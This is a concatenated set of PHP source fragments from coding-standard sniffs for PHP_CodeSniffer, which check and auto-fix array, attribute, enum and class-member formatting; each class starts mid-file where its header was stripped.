isCreatedInList(File $phpcsFile, int $variablePointer, int $scopeOpenerPointer): bool { $tokens = $phpcsFile->getTokens(); $parenthesisOpenerPointer = TokenHelper::findPrevious( $phpcsFile, [T_OPEN_PARENTHESIS, T_OPEN_SHORT_ARRAY, T_OPEN_SQUARE_BRACKET], $variablePointer - 1, $scopeOpenerPointer, ); if ($parenthesisOpenerPointer === null) { return false; } if ($tokens[$parenthesisOpenerPointer]['code'] === T_OPEN_PARENTHESIS) { if ($tokens[$parenthesisOpenerPointer]['parenthesis_closer'] < $variablePointer) { return false; } $pointerBeforeParenthesisOpener = TokenHelper::findPreviousEffective($phpcsFile, $parenthesisOpenerPointer - 1); return $tokens[$pointerBeforeParenthesisOpener]['code'] === T_LIST; } return $tokens[$parenthesisOpenerPointer]['bracket_closer'] > $variablePointer; } private function isCreatedInForeach(File $phpcsFile, int $variablePointer, int $scopeCloserPointer): bool { $tokens = $phpcsFile->getTokens(); $parenthesisCloserPointer = TokenHelper::findNext($phpcsFile, T_CLOSE_PARENTHESIS, $variablePointer + 1, $scopeCloserPointer); return $parenthesisCloserPointer !== null && array_key_exists('parenthesis_owner', $tokens[$parenthesisCloserPointer]) && $tokens[$tokens[$parenthesisCloserPointer]['parenthesis_owner']]['code'] === T_FOREACH && $tokens[$parenthesisCloserPointer]['parenthesis_opener'] < $variablePointer; } private function isCreatedByReferencedParameterInFunctionCall(File $phpcsFile, int $variablePointer, int $scopeOpenerPointer): bool { $tokens = $phpcsFile->getTokens(); $parenthesisOpenerPointer = TokenHelper::findPrevious($phpcsFile, T_OPEN_PARENTHESIS, $variablePointer - 1, $scopeOpenerPointer); if ( $parenthesisOpenerPointer === null || $tokens[$parenthesisOpenerPointer]['parenthesis_closer'] < $variablePointer ) { return false; } $pointerBeforeParenthesisOpener = TokenHelper::findPreviousEffective($phpcsFile, $parenthesisOpenerPointer - 1); return $tokens[$pointerBeforeParenthesisOpener]['code'] === T_STRING; } private function isImportedUsingGlobalStatement(File $phpcsFile, int $variablePointer): bool { $tokens = $phpcsFile->getTokens(); $startOfStatement = $phpcsFile->findStartOfStatement($variablePointer, T_COMMA); return $tokens[$startOfStatement]['code'] === T_GLOBAL; } } */ public function register(): array { return TokenHelper::ARRAY_TOKEN_CODES; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $stackPointer */ public function process(File $phpcsFile, $stackPointer): void { $keyValues = ArrayHelper::parse($phpcsFile, $stackPointer); if (!ArrayHelper::isKeyed($keyValues)) { return; } if (ArrayHelper::isKeyedAll($keyValues)) { return; } $phpcsFile->addError('Partially keyed array disallowed.', $stackPointer, self::CODE_DISALLOWED_PARTIALLY_KEYED); } } */ public function register(): array { return TokenHelper::ARRAY_TOKEN_CODES; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $stackPointer */ public function process(File $phpcsFile, $stackPointer): void { $tokens = $phpcsFile->getTokens(); if (ArrayHelper::isMultiLine($phpcsFile, $stackPointer) === false) { return; } [$arrayOpenerPointer, $arrayCloserPointer] = ArrayHelper::openClosePointers($tokens[$stackPointer]); $nextEffective = TokenHelper::findNextEffective($phpcsFile, $arrayOpenerPointer + 1, $arrayCloserPointer); if ($nextEffective === null || in_array($tokens[$nextEffective]['code'], TokenHelper::ARRAY_TOKEN_CODES, true) === false) { return; } [$nextPointerOpener, $nextPointerCloser] = ArrayHelper::openClosePointers($tokens[$nextEffective]); $arraysStartAtSameLine = $tokens[$arrayOpenerPointer]['line'] === $tokens[$nextPointerOpener]['line']; $arraysEndAtSameLine = $tokens[$arrayCloserPointer]['line'] === $tokens[$nextPointerCloser]['line']; if (!$arraysStartAtSameLine || $arraysEndAtSameLine) { return; } $error = "Expected nested array to end at the same line as it's parent. Either put the nested array's end at the same line as the parent's end, or put the nested array start on it's own line."; $fix = $phpcsFile->addFixableError($error, $arrayOpenerPointer, self::CODE_ARRAY_END_WRONG_PLACEMENT); if (!$fix) { return; } FixerHelper::add($phpcsFile, $arrayOpenerPointer, $phpcsFile->eolChar); } } */ public function register(): array { return TokenHelper::ARRAY_TOKEN_CODES; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $stackPointer */ public function process(File $phpcsFile, $stackPointer): int { $this->spacesAroundBrackets = SniffSettingsHelper::normalizeInteger($this->spacesAroundBrackets); $tokens = $phpcsFile->getTokens(); [$arrayOpenerPointer, $arrayCloserPointer] = ArrayHelper::openClosePointers($tokens[$stackPointer]); // Check only single-line arrays. if ($tokens[$arrayOpenerPointer]['line'] !== $tokens[$arrayCloserPointer]['line']) { return $arrayCloserPointer; } $pointerContent = TokenHelper::findNextNonWhitespace($phpcsFile, $arrayOpenerPointer + 1, $arrayCloserPointer + 1); if ($pointerContent === $arrayCloserPointer) { // Empty array, but if the brackets aren't together, there's a problem. if ($this->enableEmptyArrayCheck) { $this->checkWhitespaceInEmptyArray($phpcsFile, $arrayOpenerPointer, $arrayCloserPointer); } // We can return here because there is nothing else to check. // All code below can assume that the array is not empty. return $arrayCloserPointer + 1; } $this->checkWhitespaceAfterOpeningBracket($phpcsFile, $arrayOpenerPointer); $this->checkWhitespaceBeforeClosingBracket($phpcsFile, $arrayCloserPointer); for ($i = $arrayOpenerPointer + 1; $i < $arrayCloserPointer; $i++) { // Skip bracketed statements, like function calls. if ($tokens[$i]['code'] === T_OPEN_PARENTHESIS) { $i = $tokens[$i]['parenthesis_closer']; continue; } // Skip nested arrays as they will be processed separately if (in_array($tokens[$i]['code'], TokenHelper::ARRAY_TOKEN_CODES, true)) { $i = ArrayHelper::openClosePointers($tokens[$i])[1]; continue; } if ($tokens[$i]['code'] !== T_COMMA) { continue; } // Before checking this comma, make sure we are not at the end of the array. $next = TokenHelper::findNextNonWhitespace($phpcsFile, $i + 1, $arrayCloserPointer); if ($next === null) { return $arrayOpenerPointer + 1; } $this->checkWhitespaceBeforeComma($phpcsFile, $i); $this->checkWhitespaceAfterComma($phpcsFile, $i); } return $arrayOpenerPointer + 1; } private function checkWhitespaceInEmptyArray(File $phpcsFile, int $arrayStart, int $arrayEnd): void { if ($arrayEnd - $arrayStart === 1) { return; } $error = 'Empty array declaration must have no space between the parentheses.'; $fix = $phpcsFile->addFixableError($error, $arrayStart, self::CODE_SPACE_IN_EMPTY_ARRAY); if (!$fix) { return; } FixerHelper::replace($phpcsFile, $arrayStart + 1, ''); } private function checkWhitespaceAfterOpeningBracket(File $phpcsFile, int $arrayStart): void { $tokens = $phpcsFile->getTokens(); $whitespacePointer = $arrayStart + 1; $spaceLength = 0; if ($tokens[$whitespacePointer]['code'] === T_WHITESPACE) { $spaceLength = $tokens[$whitespacePointer]['length']; } if ($spaceLength === $this->spacesAroundBrackets) { return; } $error = sprintf('Expected %d spaces after array opening bracket, %d found.', $this->spacesAroundBrackets, $spaceLength); $fix = $phpcsFile->addFixableError($error, $arrayStart, self::CODE_SPACE_AFTER_ARRAY_OPEN); if (!$fix) { return; } if ($spaceLength === 0) { FixerHelper::add($phpcsFile, $arrayStart, str_repeat(' ', $this->spacesAroundBrackets)); } else { FixerHelper::replace( $phpcsFile, $whitespacePointer, str_repeat(' ', $this->spacesAroundBrackets), ); } } private function checkWhitespaceBeforeClosingBracket(File $phpcsFile, int $arrayEnd): void { $tokens = $phpcsFile->getTokens(); $whitespacePointer = $arrayEnd - 1; $spaceLength = 0; if ($tokens[$whitespacePointer]['code'] === T_WHITESPACE) { $spaceLength = $tokens[$whitespacePointer]['length']; } if ($spaceLength === $this->spacesAroundBrackets) { return; } $error = sprintf('Expected %d spaces before array closing bracket, %d found.', $this->spacesAroundBrackets, $spaceLength); $fix = $phpcsFile->addFixableError($error, $arrayEnd, self::CODE_SPACE_BEFORE_ARRAY_CLOSE); if (!$fix) { return; } if ($spaceLength === 0) { FixerHelper::addBefore($phpcsFile, $arrayEnd, str_repeat(' ', $this->spacesAroundBrackets)); } else { FixerHelper::replace( $phpcsFile, $whitespacePointer, str_repeat(' ', $this->spacesAroundBrackets), ); } } private function checkWhitespaceBeforeComma(File $phpcsFile, int $comma): void { $tokens = $phpcsFile->getTokens(); if ($tokens[$comma - 1]['code'] !== T_WHITESPACE) { return; } if ($tokens[$comma - 2]['code'] === T_COMMA) { return; } $error = sprintf( 'Expected 0 spaces between "%s" and comma, %d found.', $tokens[$comma - 2]['content'], $tokens[$comma - 1]['length'], ); $fix = $phpcsFile->addFixableError($error, $comma, self::CODE_SPACE_BEFORE_COMMA); if (!$fix) { return; } FixerHelper::replace($phpcsFile, $comma - 1, ''); } private function checkWhitespaceAfterComma(File $phpcsFile, int $comma): void { $tokens = $phpcsFile->getTokens(); if ($tokens[$comma + 1]['code'] !== T_WHITESPACE) { $error = sprintf('Expected 1 space between comma and "%s", 0 found.', $tokens[$comma + 1]['content']); $fix = $phpcsFile->addFixableError($error, $comma, self::CODE_SPACE_AFTER_COMMA); if ($fix) { FixerHelper::add($phpcsFile, $comma, ' '); } return; } $spaceLength = $tokens[$comma + 1]['length']; if ($spaceLength === 1) { return; } $error = sprintf('Expected 1 space between comma and "%s", %d found.', $tokens[$comma + 2]['content'], $spaceLength); $fix = $phpcsFile->addFixableError($error, $comma, self::CODE_SPACE_AFTER_COMMA); if (!$fix) { return; } FixerHelper::replace($phpcsFile, $comma + 1, ' '); } } */ public function register(): array { return TokenHelper::ARRAY_TOKEN_CODES; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $stackPointer */ public function process(File $phpcsFile, $stackPointer): void { $this->enableAfterHeredoc = SniffSettingsHelper::isEnabledByPhpVersion($this->enableAfterHeredoc, 70300); $tokens = $phpcsFile->getTokens(); [$arrayOpenerPointer, $arrayCloserPointer] = ArrayHelper::openClosePointers($tokens[$stackPointer]); if ($tokens[$arrayOpenerPointer]['line'] === $tokens[$arrayCloserPointer]['line']) { return; } /** @var int $pointerPreviousToClose */ $pointerPreviousToClose = TokenHelper::findPreviousEffective($phpcsFile, $arrayCloserPointer - 1); $tokenPreviousToClose = $tokens[$pointerPreviousToClose]; if ( $pointerPreviousToClose === $arrayOpenerPointer || $tokenPreviousToClose['code'] === T_COMMA || $tokens[$arrayCloserPointer]['line'] === $tokenPreviousToClose['line'] ) { return; } if ( !$this->enableAfterHeredoc && in_array($tokenPreviousToClose['code'], [T_END_HEREDOC, T_END_NOWDOC], true) ) { return; } $fix = $phpcsFile->addFixableError( 'Multi-line arrays must have a trailing comma after the last element.', $pointerPreviousToClose, self::CODE_MISSING_TRAILING_COMMA, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::add($phpcsFile, $pointerPreviousToClose, ','); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [T_ATTRIBUTE]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $attributeOpenerPointer */ public function process(File $phpcsFile, $attributeOpenerPointer): void { $this->linesCount = SniffSettingsHelper::normalizeInteger($this->linesCount); if (!AttributeHelper::isValidAttribute($phpcsFile, $attributeOpenerPointer)) { return; } $tokens = $phpcsFile->getTokens(); $attributeCloserPointer = $tokens[$attributeOpenerPointer]['attribute_closer']; $pointerAfter = TokenHelper::findNextNonWhitespace($phpcsFile, $attributeCloserPointer + 1); while ($tokens[$pointerAfter]['code'] === T_COMMENT) { $pointerAfter = TokenHelper::findNextNonWhitespace($phpcsFile, $pointerAfter + 1); } if ($tokens[$pointerAfter]['code'] === T_ATTRIBUTE) { return; } $areOnSameLine = $tokens[$pointerAfter]['line'] === $tokens[$attributeCloserPointer]['line']; if ($areOnSameLine) { if ($this->allowOnSameLine) { return; } $errorMessage = $this->linesCount === 1 ? 'Expected 1 blank line between attribute and its target, both are on same line.' : sprintf('Expected %1$d blank lines between attribute and its target, both are on same line.', $this->linesCount); } else { $actualLinesCount = $tokens[$pointerAfter]['line'] - $tokens[$attributeCloserPointer]['line'] - 1; if ($this->linesCount === $actualLinesCount) { return; } $errorMessage = $this->linesCount === 1 ? sprintf('Expected 1 blank line between attribute and its target, found %1$d.', $actualLinesCount) : sprintf('Expected %1$d blank lines between attribute and its target, found %2$d.', $this->linesCount, $actualLinesCount); } $fix = $phpcsFile->addFixableError( $errorMessage, $attributeOpenerPointer, self::CODE_INCORRECT_LINES_COUNT_BETWEEN_ATTRIBUTE_AND_TARGET, ); if (!$fix) { return; } if ($areOnSameLine) { $indentation = IndentationHelper::getIndentation( $phpcsFile, TokenHelper::findFirstNonWhitespaceOnLine($phpcsFile, $pointerAfter), ); $phpcsFile->fixer->beginChangeset(); FixerHelper::removeWhitespaceAfter($phpcsFile, $attributeCloserPointer); FixerHelper::addBefore($phpcsFile, $pointerAfter, str_repeat($phpcsFile->eolChar, $this->linesCount + 1) . $indentation); $phpcsFile->fixer->endChangeset(); return; } $firstTokenOnLine = TokenHelper::findFirstTokenOnLine($phpcsFile, $pointerAfter); $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetween($phpcsFile, $attributeCloserPointer, $firstTokenOnLine); FixerHelper::addBefore($phpcsFile, $firstTokenOnLine, str_repeat($phpcsFile->eolChar, $this->linesCount + 1)); $phpcsFile->fixer->endChangeset(); } } */ public array $order = []; public bool $orderAlphabetically = false; /** * @return array */ public function register(): array { return [T_ATTRIBUTE]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $attributeOpenerPointer */ public function process(File $phpcsFile, $attributeOpenerPointer): void { if (!AttributeHelper::isValidAttribute($phpcsFile, $attributeOpenerPointer)) { return; } if ($this->order === [] && !$this->orderAlphabetically) { throw new UnexpectedValueException('Neither manual or alphabetical order is set.'); } if ($this->order !== [] && $this->orderAlphabetically) { throw new UnexpectedValueException('Only one order can be set.'); } $this->order = $this->normalizeOrder($this->order); $tokens = $phpcsFile->getTokens(); $pointerBefore = TokenHelper::findPreviousNonWhitespace($phpcsFile, $attributeOpenerPointer - 1); if ($tokens[$pointerBefore]['code'] === T_ATTRIBUTE_END) { return; } $attributesGroups = [AttributeHelper::getAttributes($phpcsFile, $attributeOpenerPointer)]; $lastAttributeCloserPointer = $tokens[$attributeOpenerPointer]['attribute_closer']; do { $nextPointer = TokenHelper::findNextNonWhitespace($phpcsFile, $lastAttributeCloserPointer + 1); if ($tokens[$nextPointer]['code'] !== T_ATTRIBUTE) { break; } $attributesGroups[] = AttributeHelper::getAttributes($phpcsFile, $nextPointer); $lastAttributeCloserPointer = $tokens[$nextPointer]['attribute_closer']; } while (true); if ($this->orderAlphabetically) { $actualOrder = $attributesGroups; $expectedOrder = $actualOrder; uasort( $expectedOrder, static fn (array $attributesGroup1, array $attributesGroup2): int => strnatcmp( $attributesGroup1[0]->getName(), $attributesGroup2[0]->getName(), ), ); } else { $actualOrder = []; foreach ($attributesGroups as $attributesGroupNo => $attributesGroup) { $attributeName = $this->normalizeAttributeName($attributesGroup[0]->getFullyQualifiedName()); foreach ($this->order as $orderPosition => $attributeNameOnPosition) { if ( $attributeName === $attributeNameOnPosition || ( substr($attributeNameOnPosition, -1) === '\\' && strpos($attributeName, $attributeNameOnPosition) === 0 ) || ( substr($attributeNameOnPosition, -1) === '*' && strpos($attributeName, substr($attributeNameOnPosition, 0, -1)) === 0 ) ) { $actualOrder[$attributesGroupNo] = $orderPosition; continue 2; } } // Unknown order - add to the end $actualOrder[$attributesGroupNo] = 999; } $expectedOrder = $actualOrder; asort($expectedOrder); } if ($expectedOrder === $actualOrder) { return; } $fix = $phpcsFile->addFixableError('Incorrect order of attributes.', $attributeOpenerPointer, self::CODE_INCORRECT_ORDER); if (!$fix) { return; } $attributesGroupsContent = []; foreach ($attributesGroups as $attributesGroupNo => $attributesGroup) { $attributesGroupsContent[$attributesGroupNo] = TokenHelper::getContent( $phpcsFile, $attributesGroup[0]->getAttributePointer(), $tokens[$attributesGroup[0]->getAttributePointer()]['attribute_closer'], ); } $areOnSameLine = $tokens[$attributeOpenerPointer]['line'] === $tokens[$lastAttributeCloserPointer]['line']; $attributesStartPointer = $attributeOpenerPointer; $attributesEndPointer = $lastAttributeCloserPointer; $indentation = IndentationHelper::getIndentation($phpcsFile, $attributeOpenerPointer); $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding($phpcsFile, $attributesStartPointer, $attributesEndPointer); foreach (array_keys($expectedOrder) as $position => $attributesGroupNo) { if ($areOnSameLine) { if ($position !== 0) { FixerHelper::add($phpcsFile, $attributesStartPointer, ' '); } FixerHelper::add($phpcsFile, $attributesStartPointer, $attributesGroupsContent[$attributesGroupNo]); } else { if ($position !== 0) { FixerHelper::add($phpcsFile, $attributesStartPointer, $indentation); } FixerHelper::add($phpcsFile, $attributesStartPointer, $attributesGroupsContent[$attributesGroupNo]); if ($position !== count($attributesGroups) - 1) { $phpcsFile->fixer->addNewline($attributesStartPointer); } } } $phpcsFile->fixer->endChangeset(); } /** * @param list $order * @return list */ private function normalizeOrder(array $order): array { return array_map(fn (string $item): string => $this->normalizeAttributeName(trim($item)), $order); } private function normalizeAttributeName(string $name): string { return ltrim($name, '\\'); } } */ public function register(): array { return [T_ATTRIBUTE]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $attributeOpenerPointer */ public function process(File $phpcsFile, $attributeOpenerPointer): void { if (!AttributeHelper::isValidAttribute($phpcsFile, $attributeOpenerPointer)) { return; } $attributes = AttributeHelper::getAttributes($phpcsFile, $attributeOpenerPointer); $attributeCount = count($attributes); if ($attributeCount === 1) { return; } $fix = $phpcsFile->addFixableError( sprintf('%d attributes are joined.', $attributeCount), $attributeOpenerPointer, self::CODE_DISALLOWED_ATTRIBUTES_JOINING, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); for ($i = 1; $i < count($attributes); $i++) { $previousAttribute = $attributes[$i - 1]; $attribute = $attributes[$i]; FixerHelper::add($phpcsFile, $previousAttribute->getEndPointer(), ']'); for ($j = $previousAttribute->getEndPointer() + 1; $j < $attribute->getStartPointer(); $j++) { if ($phpcsFile->fixer->getTokenContent($j) === ',') { FixerHelper::replace($phpcsFile, $j, ''); } } FixerHelper::addBefore($phpcsFile, $attribute->getStartPointer(), '#['); } $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [T_ATTRIBUTE]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $attributeOpenerPointer */ public function process(File $phpcsFile, $attributeOpenerPointer): void { if (!AttributeHelper::isValidAttribute($phpcsFile, $attributeOpenerPointer)) { return; } $tokens = $phpcsFile->getTokens(); $attributeCloserPointer = $tokens[$attributeOpenerPointer]['attribute_closer']; $nextAttributeOpenerPointer = TokenHelper::findNext($phpcsFile, T_ATTRIBUTE, $attributeCloserPointer + 1); if ($nextAttributeOpenerPointer === null) { return; } if ($tokens[$attributeCloserPointer]['line'] !== $tokens[$nextAttributeOpenerPointer]['line']) { return; } $attributeTargetPointer = AttributeHelper::getAttributeTarget($phpcsFile, $attributeOpenerPointer); $nextAttributeTargetPointer = AttributeHelper::getAttributeTarget($phpcsFile, $nextAttributeOpenerPointer); if ($attributeTargetPointer !== $nextAttributeTargetPointer) { return; } $fix = $phpcsFile->addFixableError( 'Multiple attributes per line are disallowed.', $nextAttributeOpenerPointer, self::CODE_DISALLOWED_MULTIPLE_ATTRIBUTES_PER_LINE, ); if (!$fix) { return; } $nonWhitespacePointerBefore = TokenHelper::findPreviousNonWhitespace($phpcsFile, $nextAttributeOpenerPointer - 1); $indentation = IndentationHelper::getIndentation( $phpcsFile, TokenHelper::findFirstNonWhitespaceOnLine($phpcsFile, $attributeOpenerPointer), ); $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetween($phpcsFile, $nonWhitespacePointerBefore, $nextAttributeOpenerPointer); FixerHelper::addBefore($phpcsFile, $nextAttributeOpenerPointer, $phpcsFile->eolChar . $indentation); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [T_ATTRIBUTE]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $attributeOpenerPointer */ public function process(File $phpcsFile, $attributeOpenerPointer): void { if (!AttributeHelper::isValidAttribute($phpcsFile, $attributeOpenerPointer)) { return; } $tokens = $phpcsFile->getTokens(); $docCommentOpenerPointer = TokenHelper::findNextExcluding( $phpcsFile, T_WHITESPACE, $tokens[$attributeOpenerPointer]['attribute_closer'] + 1, ); if ($tokens[$docCommentOpenerPointer]['code'] !== T_DOC_COMMENT_OPEN_TAG) { return; } $docCommentStartPointer = TokenHelper::findFirstTokenOnLine($phpcsFile, $docCommentOpenerPointer); $docCommentEndPointer = TokenHelper::findLastTokenOnLine($phpcsFile, $tokens[$docCommentOpenerPointer]['comment_closer']); $docComment = TokenHelper::getContent($phpcsFile, $docCommentStartPointer, $docCommentEndPointer); $firstAttributeOpenerPointer = $attributeOpenerPointer; do { $nonWhitespacePointerBefore = TokenHelper::findPreviousNonWhitespace($phpcsFile, $firstAttributeOpenerPointer - 1); if ($tokens[$nonWhitespacePointerBefore]['code'] !== T_ATTRIBUTE_END) { break; } $firstAttributeOpenerPointer = $tokens[$nonWhitespacePointerBefore]['attribute_opener']; } while (true); $attributeStartPointer = TokenHelper::findFirstTokenOnLine($phpcsFile, $firstAttributeOpenerPointer); $fix = $phpcsFile->addFixableError( 'Attribute should be placed after documentation comment.', $attributeOpenerPointer, self::CODE_ATTRIBUTE_BEFORE_DOC_COMMENT, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::addBefore($phpcsFile, $attributeStartPointer, $docComment); FixerHelper::removeBetweenIncluding($phpcsFile, $docCommentStartPointer, $docCommentEndPointer); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [T_FUNCTION]; } /** * @return array */ protected function getSignatureStartAndEndPointers(File $phpcsFile, int $methodPointer): array { $signatureStartPointer = TokenHelper::findFirstTokenOnLine($phpcsFile, $methodPointer); /** @var int $pointerAfterSignatureEnd */ $pointerAfterSignatureEnd = TokenHelper::findNext($phpcsFile, [T_OPEN_CURLY_BRACKET, T_SEMICOLON], $methodPointer + 1); if ($phpcsFile->getTokens()[$pointerAfterSignatureEnd]['code'] === T_SEMICOLON) { return [$signatureStartPointer, $pointerAfterSignatureEnd]; } /** @var int $signatureEndPointer */ $signatureEndPointer = TokenHelper::findPreviousEffective($phpcsFile, $pointerAfterSignatureEnd - 1); return [$signatureStartPointer, $signatureEndPointer]; } protected function getSignature(File $phpcsFile, int $signatureStartPointer, int $signatureEndPointer): string { $signature = TokenHelper::getContent($phpcsFile, $signatureStartPointer, $signatureEndPointer); $signature = preg_replace(sprintf('~%s[ \t]*~', $phpcsFile->eolChar), ' ', $signature); assert(is_string($signature)); $signature = str_replace(['( ', ' )'], ['(', ')'], $signature); $signature = rtrim($signature); return $signature; } } minLinesCountBeforeWithComment = SniffSettingsHelper::normalizeInteger($this->minLinesCountBeforeWithComment); $this->maxLinesCountBeforeWithComment = SniffSettingsHelper::normalizeInteger($this->maxLinesCountBeforeWithComment); $this->minLinesCountBeforeWithoutComment = SniffSettingsHelper::normalizeInteger($this->minLinesCountBeforeWithoutComment); $this->maxLinesCountBeforeWithoutComment = SniffSettingsHelper::normalizeInteger($this->maxLinesCountBeforeWithoutComment); $this->minLinesCountBeforeMultiline = SniffSettingsHelper::normalizeNullableInteger($this->minLinesCountBeforeMultiline); $this->maxLinesCountBeforeMultiline = SniffSettingsHelper::normalizeNullableInteger($this->maxLinesCountBeforeMultiline); $tokens = $phpcsFile->getTokens(); $classPointer = ClassHelper::getClassPointer($phpcsFile, $pointer); $endPointer = $this->getEndPointer($phpcsFile, $pointer); $firstOnLinePointer = TokenHelper::findFirstTokenOnNextLine($phpcsFile, $endPointer); assert($firstOnLinePointer !== null); $nextFunctionPointer = TokenHelper::findNext( $phpcsFile, [T_FUNCTION, T_ENUM_CASE, T_CONST, T_VARIABLE, T_USE], $firstOnLinePointer + 1, ); if ( $nextFunctionPointer === null || $tokens[$nextFunctionPointer]['code'] === T_FUNCTION || $tokens[$nextFunctionPointer]['conditions'] !== $tokens[$pointer]['conditions'] ) { return $nextFunctionPointer ?? $firstOnLinePointer; } $types = [T_COMMENT, T_DOC_COMMENT_OPEN_TAG, T_ATTRIBUTE, T_ENUM_CASE, T_CONST, T_USE, ...TokenHelper::PROPERTY_MODIFIERS_TOKEN_CODES]; $nextPointer = TokenHelper::findNext($phpcsFile, $types, $firstOnLinePointer + 1, $tokens[$classPointer]['scope_closer']); if (!$this->isNextMemberValid($phpcsFile, $nextPointer)) { return $nextPointer; } $linesBetween = $tokens[$nextPointer]['line'] - $tokens[$endPointer]['line'] - 1; if (in_array($tokens[$nextPointer]['code'], [T_DOC_COMMENT_OPEN_TAG, T_COMMENT, T_ATTRIBUTE], true)) { $minExpectedLines = $this->minLinesCountBeforeWithComment; $maxExpectedLines = $this->maxLinesCountBeforeWithComment; } else { $minExpectedLines = $this->minLinesCountBeforeWithoutComment; $maxExpectedLines = $this->maxLinesCountBeforeWithoutComment; } if ( $this->minLinesCountBeforeMultiline !== null && !$this instanceof EnumCaseSpacingSniff && $tokens[$pointer]['line'] !== $tokens[$endPointer]['line'] ) { $minExpectedLines = max($minExpectedLines, $this->minLinesCountBeforeMultiline); $maxExpectedLines = max($minExpectedLines, $maxExpectedLines); } if ( $this->maxLinesCountBeforeMultiline !== null && !$this instanceof EnumCaseSpacingSniff && $tokens[$pointer]['line'] !== $tokens[$endPointer]['line'] ) { $maxExpectedLines = max($minExpectedLines, $this->maxLinesCountBeforeMultiline); } if ($linesBetween >= $minExpectedLines && $linesBetween <= $maxExpectedLines) { return $firstOnLinePointer; } $fix = $this->addError($phpcsFile, $pointer, $minExpectedLines, $maxExpectedLines, $linesBetween); if (!$fix) { return $firstOnLinePointer; } if ($linesBetween > $maxExpectedLines) { $lastPointerOnLine = TokenHelper::findLastTokenOnLine($phpcsFile, $endPointer); $firstPointerOnNextLine = TokenHelper::findFirstTokenOnLine($phpcsFile, $nextPointer); $phpcsFile->fixer->beginChangeset(); if ($maxExpectedLines > 0) { FixerHelper::add( $phpcsFile, $lastPointerOnLine, str_repeat($phpcsFile->eolChar, $maxExpectedLines), ); } FixerHelper::removeBetween($phpcsFile, $lastPointerOnLine, $firstPointerOnNextLine); $phpcsFile->fixer->endChangeset(); } elseif ($linesBetween < $minExpectedLines) { $phpcsFile->fixer->beginChangeset(); for ($i = 0; $i < $minExpectedLines - $linesBetween; $i++) { $phpcsFile->fixer->addNewlineBefore($firstOnLinePointer); } $phpcsFile->fixer->endChangeset(); } return $firstOnLinePointer; } private function getEndPointer(File $phpcsFile, int $pointer): int { $tokens = $phpcsFile->getTokens(); $endPointer = TokenHelper::findNext($phpcsFile, [T_SEMICOLON, T_OPEN_CURLY_BRACKET], $pointer + 1); return $tokens[$endPointer]['code'] === T_OPEN_CURLY_BRACKET ? $tokens[$endPointer]['bracket_closer'] : $endPointer; } } */ public function register(): array { return [T_ENUM]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $enumPointer */ public function process(File $phpcsFile, $enumPointer): void { $this->spacesCountBeforeColon = SniffSettingsHelper::normalizeInteger($this->spacesCountBeforeColon); $this->spacesCountBeforeType = SniffSettingsHelper::normalizeInteger($this->spacesCountBeforeType); $tokens = $phpcsFile->getTokens(); $colonPointer = TokenHelper::findNext($phpcsFile, T_COLON, $enumPointer + 1, $tokens[$enumPointer]['scope_opener']); if ($colonPointer === null) { return; } $this->checkSpacesBeforeColon($phpcsFile, $colonPointer); $this->checkSpacesBeforeType($phpcsFile, $colonPointer); } public function checkSpacesBeforeColon(File $phpcsFile, int $colonPointer): void { $namePointer = TokenHelper::findPreviousEffective($phpcsFile, $colonPointer - 1); $whitespace = TokenHelper::getContent($phpcsFile, $namePointer + 1, $colonPointer - 1); if ($this->spacesCountBeforeColon === strlen($whitespace)) { return; } $fix = $phpcsFile->addFixableError( $this->formatErrorMessage('before colon', $this->spacesCountBeforeColon), $colonPointer, self::CODE_INCORRECT_SPACES_BEFORE_COLON, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetween($phpcsFile, $namePointer, $colonPointer); FixerHelper::addBefore($phpcsFile, $colonPointer, str_repeat(' ', $this->spacesCountBeforeColon)); $phpcsFile->fixer->endChangeset(); } public function checkSpacesBeforeType(File $phpcsFile, int $colonPointer): void { $typePointer = TokenHelper::findNextEffective($phpcsFile, $colonPointer + 1); $whitespace = TokenHelper::getContent($phpcsFile, $colonPointer + 1, $typePointer - 1); if ($this->spacesCountBeforeType === strlen($whitespace)) { return; } $fix = $phpcsFile->addFixableError( $this->formatErrorMessage('before type', $this->spacesCountBeforeType), $typePointer, self::CODE_INCORRECT_SPACES_BEFORE_TYPE, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetween($phpcsFile, $colonPointer, $typePointer); FixerHelper::addBefore($phpcsFile, $typePointer, str_repeat(' ', $this->spacesCountBeforeType)); $phpcsFile->fixer->endChangeset(); } private function formatErrorMessage(string $suffix, int $requiredSpaces): string { return $requiredSpaces === 0 ? sprintf('There must be no whitespace %s.', $suffix) : sprintf('There must be exactly %d whitespace%s %s.', $requiredSpaces, $requiredSpaces !== 1 ? 's' : '', $suffix); } } */ public function register(): array { return [ T_CONST, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $constantPointer */ public function 